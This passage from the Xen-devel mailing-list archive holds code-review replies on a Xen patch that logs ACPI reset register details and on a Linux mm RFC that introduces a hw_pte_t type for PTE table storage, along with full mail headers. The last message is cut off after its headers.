References: <20260730001854.905354-2-dmukhin@ford.com>
 <f71e5d41-329e-4859-9744-c390e26bb5f8@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <f71e5d41-329e-4859-9744-c390e26bb5f8@suse.com>
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-31_01,2026-07-30_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 malwarescore=0
 bulkscore=0 suspectscore=0 lowpriorityscore=0 adultscore=0 phishscore=0
 spamscore=0 classifier=typeunknown authscore=0 authtc= authcc= route=outbound
 adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607310027
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH2PEPF000000A0:EE_|IA1PR16MB5288:EE_
X-MS-Office365-Filtering-Correlation-Id: 2a3d7c8c-596e-4a2a-3311-08deeebe184d
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|1800799024|376014|23010399003|36860700016|4143699003|11063799006|56012099006|22082099003|18002099003|10067099003;
X-Microsoft-Antispam-Message-Info:
	7hPePeqT0NVXoj2PnvZLMgxblFDtAF25F0Ir53EZQSBF9ahf4bsSEYzqC+aGavvfWSso241dnG0sP5QcNMZCDkUiExl5g3Ut4W+lt+EC82H2VYgREZq19+KtFCGORK2w/P5/ArV8Im3BLL3CVe6yVdiYeVwIchwJWEKhEpwWp5soLZzlO2N0zrK49uSxwWoC+LYWIyASI1sffqcW66C95IadyiQXr+dA931dNQnB6XYH9glTROEZSGDMrQ82ZSrfbv2TbTK9pRkNbnFAoiDipgpRNiwHkunnrd6QwPF2LgN6lp2MlRz3X+su908viugvOJFLnxyoTJnjhs2F5ZpGsy33Eu4IYe9if9fs8HL014ggi/i13akwVjZXgYKmxb20LLeN8doo0SUks6eXg+Okne2qPXVl8SsUXh5xtUHP16nD7SiIh/Y0ZxSy8p/gkNkV+uX53P9CFEOI73HU61bmGYPMUcJbcsBZXQshL/TKoRf70bno/UPPnmL2ttXu55VLcnhl3vQyEwMYj9FspCawAXX+ttUjE8/Wb5XE4W/g0PqT71UXcs/e2wA5m2WME+SKUqgCNTBTNQ70IyS6gc01s8bKvT2yDRB2k+CT3ckaMFtTP22eOW1wM5lwpPdZbtrKJTEsGGwpQMEn1xqocPiT0ouhjrvi5NxGglxWxTA8gdZMx9dJ3KIiEU26KgFscOz1z94WX1rd94I1s1mweI7vcw==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(82310400026)(1800799024)(376014)(23010399003)(36860700016)(4143699003)(11063799006)(56012099006)(22082099003)(18002099003)(10067099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	jHIw64MNFzc0KPEV98mDSYFGQC5luUSKxbC5GqUc6ZwAyl3N1MY50Yr1R+9kxQarLeEfycUt7TuSlEtFvnuzPhSRNfkorqT+oT5tSpzUzV5Koar2IEyBADuXWc4+WzVNBOJRtbvB8RpFidVlMILllPuMJ/7R3pTFEbM+uM3QHhcgg8VTh54mRgDLqYF+MyXB+LlYaKlobDdwol4UXB7N2pmxkoVR1oLuj1JRmnvtL6LkMKNfLM2fD/V/YT0R1V2edh5w5ny2X4veYjqtXWi6sxduHGM5kX4jqXfVsZ9C9hNSpVtwNCziFthmhU7vBqScgM30UcbZ0gHpVScFPTHlKzFgl9a2DdPjpPjF9ofeBtS6m5WdgtecVER1ylqsQRC34IN6K6pj5oghMb1npoJQXO3Rx8r0oHqFA3eY6I9hfYFfiRBWLfLp5B4KHRREgtS/
X-Exchange-RoutingPolicyChecked:
	rUaVCuC6a7vJmd/Hb3irte1OAnMmx2A/YQP3fvM6XECOP1rqKrBvRMvcphSlqB2x8lnS8Pvt/xZFtZ7XF4oKccIHO7tS2EIzLZIKhNwmbaePFQPYYvVk8y1WDYTqQ4116rOCc4m8D+qrxCkeN4pjR3qNfDcaftifihvST+2HNnS7UOAJbVGgfCiMVLSYM97akRAas4Qvgoa5iZXRFKVAqdT59NAVD9ZqYTm1E0SnqFsNhRgVVwoLSFEAsyMDXjvgBh17FfGlmHo7yox24gYMEjtRLCx+Su0VVR/QAqZ/Qe0LWPhQuT/sv4uckqX7bydhpjRF98GbF6XIyhevo3CLpg==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	yq9wPN1QsS1I/a4LaKYiRtX+kOQFPPprNW0y5KMK5Z3nGiuS0r2D7+6Rr2ccOPqZHI6JMoC2y34wCfw35LSwg1rfJPSnEqXQguR5RD/ROKfZ37HY992J4LoMLSgHZ2FVeiRkRK1c/l6mWjiRJgHlMkc0TQhSAlmRcRnFjJX69ZF8kPnqpCwQS+OG2EYM3Wqs202nJI351/PnIdzI6WrrPD+AAPESmFbHeMJxDQssBsHArqStZt03xxgFwx2mEf1LBTz+U9srFQG97s1M6EvLwe4gJQj/Jn8Zr2A6aAFGTjwuLyEY06thF2e54tOiGfp+2BJaHVFqTzJctrzdhAgP7wcJwT5e9c7CtbXCyqXAArK5rxsAdOvNYpZ1xG9lL2S2i4jyGJu64jOomvmzJ3AqXVhoZkXNMuGIwsRM+k9Njgkir+7MyLhPzQFoJOqSS1vFdWQ6DYS3dypzvsHCwiattcDYiN7VngVKyErXimjvHnRa60N24c7h8FWQnC+vvyHYG3vrSsOz98Hff1xPY1Ryenw1ET9VWXgwp1zgcE2KZFdhYbdPMtUidSlcMAudKRL1wgmbhUel6kSq5UPYFVMo+itgfciHqHPqAhgRy3qpT5vd9Gb/2t8JWntGaYT6QA+6j+DUjvSmeCWMUxJFjR6s+g==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 31 Jul 2026 04:42:15.0675
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 2a3d7c8c-596e-4a2a-3311-08deeebe184d
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CH2PEPF000000A0.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: IA1PR16MB5288
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzMxMDAyNyBTYWx0ZWRfX2dLF3htp88yi
 3PvlutYBdTJXNhUAymsvN86JUbecucbBZ4gJsecsIJ3LnlNSwLHLdj65D4BnsXOV7ZnI6781N9X
 v72gVokcT2tqeun7dwDc3Q78ddBtqGrNLUXFUoQch5rSIE3j//Z2
X-Proofpoint-GUID: oMdHp_ltnMEB90WS-U0iiuhgRza1q-LB
X-Proofpoint-ORIG-GUID: oMdHp_ltnMEB90WS-U0iiuhgRza1q-LB
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzMxMDAyNyBTYWx0ZWRfXxMAZrU82X5Zt
 lKx9V18uCn1lg++JAp8qZpRuVO+YZPbynoz+Y/jjDshdaY4TNJRk+NRVlyUw8mIK0xNVODpIvZz
 VWg3LgauaZu7mkUYauzjimpPprrucqkLfWqle2/BC7RFarjAX60QvwuY7PSz7MByiBc18SBm4BN
 1lUrGWinObIZPSIe8Y7Kds9TCOkn1WM9sokisA1Hi4RN48mln490b13rvIDpxkH28j4CnubeT8e
 wXTqArFXlkgmETPCIukgdhfZ6Xgw4p9myQJ/2qrUyWeks262t1lUXeziibyUnjyuM/jkatyfqfy
 KDLCP1ImKoI/aVRQN7bgB0l4t5MNw9VOuhS+W8uDDw7fR9YWbi1Vf2DHJczqXFa04TlMiTZE30A
 kU4fPiLlOVCbkqqS+hVsrrmd/qaxFPJqOHA/Zl0pc0kS99GnYpiWsEzT1pKNFhLG/C1lwE8bqa1
 Oawjt3b9uiQ1GURsBqA==
X-Authority-Analysis: v=2.4 cv=Kq99H2WN c=1 sm=1 tr=0 ts=6a6c27ab cx=c_pps
 a=Ik8WVU4vKgjy7N2tmpohTQ==:117 a=b7IhknPlfT0FN1EembXvig==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=kj9zAlcOel0A:10 a=RAioF0-LDSMA:10
 a=3PXLN80vpJUA:10 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=P_n1zlmtWsCQbjROFjcg:22 a=N9_n2FxmZfwfyRXvS9-E:22
 a=cbNQJ9GKAAAA:8 a=5wsYkIIrmv2MwfxbtaUA:9 a=CjuIK1q_8ugA:10
 a=DqJYxgmhk6moR-_7_KoZ:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-31_01,2026-07-30_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 priorityscore=1501 malwarescore=0 impostorscore=0 lowpriorityscore=0
 spamscore=0 suspectscore=0 adultscore=0 clxscore=1015 phishscore=0
 bulkscore=0 classifier=typeunknown authscore=0 authtc= authcc= route=outbound
 adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607310027
X-purgate-ID: tlsNG-d62444/1785472942-1D47D757-29F24A35/0/0
X-purgate-type: clean
X-purgate-size: 2817

On Thu, Jul 30, 2026 at 08:26:38AM +0200, Jan Beulich wrote:
> On 30.07.2026 02:18, dmukhin@ford.com wrote:
> > From: Denis Mukhin <dmukhin@ford.com> 
> > 
> > Xen does not provide much details for system reset debugging in case
> > system reset happens via ACPI subsystem.
> > 
> > Log reset I/O address and reset value.
> > 
> > While here, fix the missing default case, guard it with
> > ASSERT_UNREACHABLE() and drop full stops in the loglines.
> 
> On what basis (i.e. thanks to which earlier checks) would this assertion be
> legitimate to add? Besides being a wrong use of an assertion, it also breaks
> fallback to alternative reboot methods in case one doesn't work.
> 
> > --- a/xen/drivers/acpi/reboot.c
> > +++ b/xen/drivers/acpi/reboot.c
> > @@ -6,6 +6,7 @@ void acpi_reboot(void)
> >  {
> >  	struct acpi_generic_address *rr;
> >  	u8 reset_value;
> > +	pci_sbdf_t sbdf;
> >  
> >  	rr = &acpi_gbl_FADT.reset_register;
> >  
> > @@ -21,17 +22,24 @@ void acpi_reboot(void)
> >  	 * on a device on bus 0. */
> >  	switch (rr->space_id) {
> >  	case ACPI_ADR_SPACE_PCI_CONFIG:
> > -		printk("Resetting with ACPI PCI RESET_REG.\n");
> > +		sbdf = PCI_SBDF(0, 0, rr->address >> 32, rr->address >> 16);
> > +		printk("Resetting with ACPI PCI %pp RESET_REG at 0x%"PRIx64" (0x%x)\n",
> > +			&sbdf, rr->address & 0xffu, reset_value);
> 
> As indicated on other occasions - %#x and alike please in favor of 0x%x.
> 
> I also see no reason for the 'u' suffix on the literal number. Plus if one
> was wanted, it would want to be 'U', to match the Misra-demanded 'L'.
> 
> Also - nit: Indentation.

Thanks for taking a look!

This file uses tabs - I can convert to spaces, but in separate patch.
What do you think?

> 
> >  		/* Write the value that resets us. */
> > -		pci_conf_write8(PCI_SBDF(0, 0, rr->address >> 32,
> > -					 rr->address >> 16),
> > -				(rr->address & 255),
> > -				reset_value);
> > +		pci_conf_write8(sbdf, rr->address & 0xffu, reset_value);
> >  		break;
> >  	case ACPI_ADR_SPACE_SYSTEM_MEMORY:
> > -	case ACPI_ADR_SPACE_SYSTEM_IO:
> > -		printk("Resetting with ACPI MEMORY or I/O RESET_REG.\n");
> > +		printk("Resetting with ACPI MEMORY at 0x%"PRIx64" (0x%x)\n",
> > +			rr->address, reset_value);
> >  		acpi_hw_low_level_write(8, reset_value, rr);
> >  		break;
> > +	case ACPI_ADR_SPACE_SYSTEM_IO:
> > +		printk("Resetting with I/O RESET_REG at 0x%"PRIx64" (0x%x)\n",
> > +			rr->address, reset_value);
> > +		acpi_hw_low_level_write(8, reset_value, rr);
> > +		break;
> > +	default:
> > +		ASSERT_UNREACHABLE();
> > +		break;
> >  	}
> >  }
> 
> As you're already touching the entire switch(), would you mind also inserting
> the missing blank lines between case blocks?

Yes, will do.

> 
> Jan
> 


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 05:49:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 05:49:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378738.1623835 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpg7o-0000Mn-2a; Fri, 31 Jul 2026 05:49:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378738.1623835; Fri, 31 Jul 2026 05:49:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpg7n-0000Mg-Vc; Fri, 31 Jul 2026 05:49:39 +0000
Received: by outflank-mailman (input) for mailman id 1378738;
 Fri, 31 Jul 2026 05:49:38 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <anshuman.khandual@arm.com>) id 1wpg7m-0000Ma-B1
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 05:49:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpg7l-005CM6-O4
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 07:49:37 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <anshuman.khandual@arm.com>)
 id 6a6c374e-e002-0a2a0a5209dd-0a2a450cabd2-30
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 07:49:37 +0200
Received: from [217.140.110.172] (helo=foss.arm.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTP (eXpurgate 4.57.1)
 (envelope-from <anshuman.khandual@arm.com>)
 id 6a6c3770-f479-0a2a450c0019-d98c6eacbde8-1
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 07:49:36 +0200
Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 4315A204C;
 Thu, 30 Jul 2026 22:49:31 -0700 (PDT)
Received: from localhost (a085714.arm.com [10.164.19.28])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id A18D93F7B4;
 Thu, 30 Jul 2026 22:49:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=foss header.d=arm.com header.i="@arm.com" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss;
	t=1785476975; bh=cp77iJVRWq97XcYYpGanGjI9nrMi/T9XyEKlGtEm3F4=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=lm4Y9AxItuwNS2mYWEbr3jeJY8GANTkzrsF3Zc1UhcaT3R88O+XiEF6xuLUzbJgMf
	 FuLzKLdX/kUlFIkefo4NK3Qi11BbQwnmzc6Nw1Vo8+JrLjJC2+mL2OLu9EqmXtZRR3
	 PZUd6bbH8SNkQ4gsNj8M2Hcw3mNZqsBDiFwuMLbY=
Date: Fri, 31 Jul 2026 11:19:32 +0530
From: Anshuman Khandual <anshuman.khandual@arm.com>
To: Muhammad Usama Anjum <usama.anjum@arm.com>
Cc: Jani Nikula <jani.nikula@linux.intel.com>, 
	Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, Rodrigo Vivi <rodrigo.vivi@intel.com>, 
	Tvrtko Ursulin <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>, 
	Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich <dimitri.sivanich@hpe.com>, 
	Arnd Bergmann <arnd@arndb.de>, Greg Kroah-Hartman <gregkh@linuxfoundation.org>, 
	"James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>, Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>, 
	Stefano Stabellini <sstabellini@kernel.org>, Muchun Song <muchun.song@linux.dev>, 
	Oscar Salvador <osalvador@suse.de>, Andrew Morton <akpm@linux-foundation.org>, 
	"Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>, Will Deacon <will@kernel.org>, 
	"Aneesh Kumar K.V" <aneesh.kumar@kernel.org>, Nick Piggin <npiggin@gmail.com>, 
	Peter Zijlstra <peterz@infradead.org>, Andrey Ryabinin <ryabinin.a.a@gmail.com>, 
	David Hildenbrand <david@kernel.org>, Pasha Tatashin <pasha.tatashin@soleen.com>, 
	Chris Li <chrisl@kernel.org>, Kairui Song <kasong@tencent.com>, 
	Uladzislau Rezki <urezki@gmail.com>, Steven Rostedt <rostedt@goodmis.org>, 
	Masami Hiramatsu <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>, 
	Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>, 
	Eduard Zingerman <eddyz87@gmail.com>, Kumar Kartikeya Dwivedi <memxor@gmail.com>, 
	Ingo Molnar <mingo@redhat.com>, Arnaldo Carvalho de Melo <acme@kernel.org>, 
	Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>, 
	"Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>, Jason Gunthorpe <jgg@ziepe.ca>, 
	Leon Romanovsky <leon@kernel.org>, Miaohe Lin <linmiaohe@huawei.com>, 
	Dennis Zhou <dennis@kernel.org>, Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>, 
	Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>, ziy@nvidia.com, 
	pfalcato@suse.de, agordeev@linux.ibm.com, ryan.roberts@arm.com, 
	linux-kernel@vger.kernel.org, intel-gfx@lists.freedesktop.org, dri-devel@lists.freedesktop.org, 
	linux-parisc@vger.kernel.org, xen-devel@lists.xenproject.org, linux-mm@kvack.org, 
	linux-fsdevel@vger.kernel.org, linux-arch@vger.kernel.org, kasan-dev@googlegroups.com, 
	linux-trace-kernel@vger.kernel.org, bpf@vger.kernel.org, linux-perf-users@vger.kernel.org, 
	damon@lists.linux.dev
Subject: Re: [PATCH RFC 01/11] mm: introduce hw_pte_t for PTE table storage
Message-ID: <6xah74eadjmo2bozyr62wcxo4hhpsiufx2mshh7tztyy2dzzps@63m327m7pl5u>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <20260727164715.2866609-2-usama.anjum@arm.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260727164715.2866609-2-usama.anjum@arm.com>
X-purgate-ID: tlsNG-d25034/1785476977-76CDBA5B-E0C73676/0/0
X-purgate-type: clean
X-purgate-size: 2105

On Mon, Jul 27, 2026 at 05:46:52PM +0100, Muhammad Usama Anjum wrote:
> pte_t is used both for logical PTE values and for entries stored in a PTE
> table, so pte_t * does not distinguish a pointer to a copied value from a
> pointer to table storage.

Should we rather call them as "Linux PTE" and "HW PTE" instead ?

Some like "Logical PTE" does not really sound very clear on what it represents.

> 
> Introduce hw_pte_t as the generic name for a PTE table element. Define it
> as an alias of pte_t by default so architectures retain their existing
> representation and behavior until they opt in to a distinct storage type.

Makes sense.

> 
> Include asm/page.h so pte_t is defined before the generic alias.
> 
> Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
> ---
>  MAINTAINERS                   |  1 +
>  include/linux/pgtable_types.h | 11 +++++++++++
>  2 files changed, 12 insertions(+)
>  create mode 100644 include/linux/pgtable_types.h
> 
> diff --git a/MAINTAINERS b/MAINTAINERS
> index 15dd00c7ffec5..78aac05949829 100644
> --- a/MAINTAINERS
> +++ b/MAINTAINERS
> @@ -16981,6 +16981,7 @@ F:	include/linux/mmu_notifier.h
>  F:	include/linux/pagewalk.h
>  F:	include/linux/pgalloc.h
>  F:	include/linux/pgtable.h
> +F:	include/linux/pgtable_types.h

s/pgtable_types.h/pgtable_hw_types.h ?

>  F:	include/linux/ptdump.h
>  F:	include/linux/vmpressure.h
>  F:	include/linux/vmstat.h
> diff --git a/include/linux/pgtable_types.h b/include/linux/pgtable_types.h
> new file mode 100644
> index 0000000000000..ed5dba42a4f8c
> --- /dev/null
> +++ b/include/linux/pgtable_types.h
> @@ -0,0 +1,11 @@
> +/* SPDX-License-Identifier: GPL-2.0 */
> +#ifndef _LINUX_PGTABLE_TYPES_H
> +#define _LINUX_PGTABLE_TYPES_H
> +
> +#include <asm/page.h>
> +
> +#ifndef __HAVE_ARCH_HW_PTE_T

__HAVE_ARCH_HW_PTE_T macro is a better approach here or a config ARCH_HAS_HW_PTE_T
based selective platform subscription should be introduced instead ?

> +#define hw_pte_t pte_t
> +#endif
> +
> +#endif /* _LINUX_PGTABLE_TYPES_H */
> -- 
> 2.47.3
> 


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 06:54:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 06:54:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378777.1623845 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wph7v-0002Xz-Uk; Fri, 31 Jul 2026 06:53:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378777.1623845; Fri, 31 Jul 2026 06:53:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wph7v-0002Xs-QE; Fri, 31 Jul 2026 06:53:51 +0000
Received: by outflank-mailman (input) for mailman id 1378777;
 Fri, 31 Jul 2026 06:53:50 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wph7u-0002Xm-Cm
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 06:53:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wph7t-005NiW-1f
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 08:53:49 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a6c4674-5cb7-0a2a0a5109dd-0a2a45029248-14
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 08:53:48 +0200
Received: from [209.85.208.50] (helo=mail-ed1-f50.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a6c467c-6ca4-0a2a45020019-d155d032e5d4-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 08:53:48 +0200
Received: by mail-ed1-f50.google.com with SMTP id
 4fb4d7f45d1cf-697bd21fdc2so1060019a12.1
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 23:53:48 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 4fb4d7f45d1cf-6a09c660f6fsm300735a12.25.2026.07.30.23.53.47
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 23:53:48 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785480828; x=1786085628; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=n4H77HhyFq+APQR29K1dkMr3hRDR1FB0yWjCqMMi42Q=;
        b=gvOwzsbTN1I8nhk36fNC1yy8jGXjNbcoRgSpBx7jf3rYQSKqBHKsy08wFN740T44hu
         oZo2B+nvD+OehMJ62bSP/h3euXRiBWqCkAgbgLjVsQTPXAYFmvqzaR1G2C4B3VAZsNV2
         AOnaaZFr1IkJO60mSVdSgbseHHvTweGba+wrD4Rz1ajs4NxN9VcnwkLOPu9cjBPjnJHN
         21TnUdZOuExA/Hla0ijZbxiCzhGL5BJ460wajNQkdu8G6DCf9ba7sUllJeOxDFU3s6o9
         DFFuqxJPpMtE96Zr5WigCfYMt2g5kLix00RjEovjPovgHo5zY+qFt3Qk8m/8zfbH6xBe
         bB2Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785480828; x=1786085628;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=n4H77HhyFq+APQR29K1dkMr3hRDR1FB0yWjCqMMi42Q=;
        b=M3L/vEiAwisRdfhe+o1LcDHquCIeaA/EeDk8As+XybzXTIMredJKcPdPjOAgeybJsw
         vX29xCjVMFhi/zdFZzh54VB/XJ+zP2vehOOJb3HpgxB6or9b7h85SgvlyFUFFOTRDMAj
         u8uQFQOkVBq+B7JA7VeT6mynqukz55L+9gRV0U4Jby/MR/cgslFZA+KLnwr8PPhcInHx
         9gGQnA64FOdwkVoKZENyap1N9Dj09aqdnNZMFw3jO5KDqFxSH5qb+dTjQ81tj021kU9q
         O3jhh7XvXUoQ6KzdIFJ/H0SQ/0XunseCL01EpQo/gpyaPEHMwKPmt/hOzq2P7d2XwPuH
         +XLQ==
X-Forwarded-Encrypted: i=1; AHgh+RrxLRIlJo5Vd83Cbs9oWDKG3ZpYQRks9s8TnnKfFDsKvIazCxf0doFyR/cd7b/7KIjsaPu+ITVAZqA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxvkjN3kT2pQeiqiHtkpKpBmB8lNevIBKdSUXgpCNOhsOPih9Mf
	LIGuJTb0KmVB9My7akVGQIDjO5uNaUPH2a0Wex+iVFgb99PwIkXw5gf/PJTl/+BZrZs=
X-Gm-Gg: AR+sD136/fpS3TagxaDnZNeFDqZnokgmdT2OkOwRcDfo5W3+LOFXBzJvJ5u5BIyTVE/
	Fi75cykCzk3mc/uge1aw3oeUkiytlTgBB72NDZPjZHcUAODCFN6VwfQEy+0YAF4njZWHuVJeHc5
	WKdWCeP04IjDloWggGAsCnNHpKbDTw1NMe6c7DH06ix0eO2r1p77d0YCxxcaPnFMEScNv8yg8Or
	Xtf7MMEcvC1la/TAU84XUXb+pkQ6M6MHJ7m0goDu6TGdfsumHRjI9KzDG8pTdtY9314yROmiVVG
	0GJ4iHREq66nREmi2mqcEJDh4BaDEIwLvPjvrHMub/ds1hqX0s4gW0UJN1jysJA0PWcFFBEcR6G
	fdlBMb647XCP13H1CtCi8zo0+fRc62okso1jMgkXMntNY00vf3DrZgm2I7P+aoFYIwX/0RJ4W7U
